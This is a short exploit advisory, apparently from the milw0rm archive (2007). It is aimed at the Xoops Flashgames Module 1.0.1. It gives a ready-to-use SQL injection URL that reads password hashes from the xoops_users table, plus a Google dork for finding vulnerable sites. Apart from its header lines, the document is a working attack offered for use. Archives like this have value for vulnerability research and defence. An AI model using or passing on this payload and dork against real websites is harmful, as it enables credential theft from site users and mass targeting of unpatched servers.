20 lines
No EOL
661 B
Text
20 lines
No EOL
661 B
Text
================================================================
|
|
|
|
Xoops Flashgames Module 1.0.1 Remote Blind SQL Injection
|
|
|
|
================================================================
|
|
|
|
Bulan: Cyber-security.org
|
|
|
|
================================================================
|
|
|
|
Exploit:
|
|
/modules/flashgames/game.php?lid=-19/**/UNION/**/SELECT/**/0,1,pass,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18/**/FROM/**/xoops_users/**/LIMIT/**/1,1/*
|
|
|
|
================================================================
|
|
|
|
Google dork: inurl:modules/flashgames/
|
|
|
|
================================================================
|
|
|
|
# milw0rm.com [2007-05-04] |